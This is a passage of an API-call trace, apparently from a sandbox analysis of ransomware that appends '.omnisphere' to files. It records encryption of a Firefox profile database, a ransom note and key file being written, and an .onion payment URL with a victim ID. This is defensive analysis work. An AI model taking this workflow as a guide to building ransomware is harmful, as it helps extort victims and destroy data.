pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.615] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.615] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.615] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.615] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.615] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.615] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.615] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.615] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.615] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.615] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.615] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.615] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.615] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.752] CryptDestroyKey (hKey=0x1639b28) returned 1 [0159.752] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0159.754] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0159.754] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0159.991] GetProcessHeap () returned 0x1600000 [0159.991] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ce) returned 0x1746fd8 [0159.991] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite.omnisphere")) returned 1 [0159.992] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite.omnisphere.id" [0159.992] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0159.993] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0159.994] CloseHandle (hObject=0x388) returned 1 [0159.994] UnmapViewOfFile (lpBaseAddress=0x4010000) returned 1 [0160.093] CloseHandle (hObject=0x3c0) returned 1 [0160.093] SetEndOfFile (hFile=0x288) returned 1 [0160.093] FlushFileBuffers (hFile=0x288) returned 1 [0160.336] CloseHandle (hObject=0x288) returned 1 [0160.336] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0160.336] GetProcessHeap () returned 0x1600000 [0160.336] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17472b0 [0160.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0160.336] GetProcessHeap () returned 0x1600000 [0160.336] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1734080 [0160.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1734080, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0160.336] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0160.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0160.336] GetProcessHeap () returned 0x1600000 [0160.336] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17265f8 [0160.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17265f8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0160.337] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0160.337] GetProcessHeap () returned 0x1600000 [0160.337] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1730628 [0160.337] PathCombineW (in: pszDest=0x1730628, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0160.337] GetProcessHeap () returned 0x1600000 [0160.337] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1737fe0 [0160.337] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0160.337] WriteFile (in: hFile=0x288, lpBuffer=0x1737fe0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1737fe0*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0160.337] CloseHandle (hObject=0x288) returned 1 [0160.337] GetProcessHeap () returned 0x1600000 [0160.337] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17472b0 | out: hHeap=0x1600000) returned 1 [0160.337] GetProcessHeap () returned 0x1600000 [0160.338] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c2b8 [0160.338] PathCombineW (in: pszDest=0x162c2b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0160.338] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0160.338] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0160.338] CloseHandle (hObject=0x288) returned 1 [0160.338] GetProcessHeap () returned 0x1600000 [0160.338] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c2b8 | out: hHeap=0x1600000) returned 1 [0160.338] GetProcessHeap () returned 0x1600000 [0160.338] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16415f0 | out: hHeap=0x1600000) returned 1 [0160.338] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba329010, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xba329010, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x72e7b76, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0xcc, cFileName="places.sqlite-shm", cAlternateFileName="PLACES~3.SQL")) returned 1 [0160.338] GetProcessHeap () returned 0x1600000 [0160.338] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc6) returned 0x162bd08 [0160.338] PathCombineW (in: pszDest=0x162bd08, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="places.sqlite-shm" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-shm") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-shm" [0160.338] StrStrW (lpFirst=".omnisphere", lpSrch=".sqlite-shm") returned 0x0 [0160.338] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-shm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite-shm"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0160.339] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=32768) returned 1 [0160.339] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x7adc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0160.339] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0160.445] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8000, lpName=0x0) returned 0x3c0 [0160.446] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0160.446] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0160.446] CloseHandle (hObject=0x3c0) returned 1 [0160.446] GetTickCount () returned 0x1167db3 [0160.446] GetTickCount () returned 0x1167db3 [0160.446] GetTickCount () returned 0x1167db3 [0160.446] GetTickCount () returned 0x1167db3 [0160.446] GetTickCount () returned 0x1167db3 [0160.446] GetTickCount () returned 0x1167db3 [0160.446] GetTickCount () returned 0x1167db3 [0160.446] GetTickCount () returned 0x1167db3 [0160.446] GetTickCount () returned 0x1167db3 [0160.446] GetTickCount () returned 0x1167db3 [0160.446] GetTickCount () returned 0x1167db3 [0160.446] GetTickCount () returned 0x1167db3 [0160.446] GetTickCount () returned 0x1167db3 [0160.446] GetTickCount () returned 0x1167db3 [0160.446] GetTickCount () returned 0x1167db3 [0160.447] GetTickCount () returned 0x1167db3 [0160.447] GetTickCount () returned 0x1167db3 [0160.447] GetTickCount () returned 0x1167db3 [0160.447] GetTickCount () returned 0x1167db3 [0160.447] GetTickCount () returned 0x1167db3 [0160.447] GetTickCount () returned 0x1167db3 [0160.447] GetTickCount () returned 0x1167db3 [0160.447] GetTickCount () returned 0x1167db3 [0160.447] GetTickCount () returned 0x1167db3 [0160.447] GetTickCount () returned 0x1167db3 [0160.447] GetTickCount () returned 0x1167db3 [0160.447] GetTickCount () returned 0x1167db3 [0160.447] GetTickCount () returned 0x1167db3 [0160.447] GetTickCount () returned 0x1167db3 [0160.447] GetTickCount () returned 0x1167db3 [0160.447] GetTickCount () returned 0x1167db3 [0160.447] GetTickCount () returned 0x1167db3 [0160.447] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668df0) returned 1 [0160.448] CryptImportKey (in: hProv=0x1668df0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b28) returned 1 [0160.448] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0160.448] CryptDestroyKey (hKey=0x1639b28) returned 1 [0160.448] CryptReleaseContext (hProv=0x1668df0, dwFlags=0x0) returned 1 [0160.448] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8000, lpName=0x0) returned 0x3c0 [0160.448] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8000) returned 0x1480000 [0160.495] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668928) returned 1 [0160.496] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b28) returned 1 [0160.496] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0160.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0160.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.497] CryptEncrypt 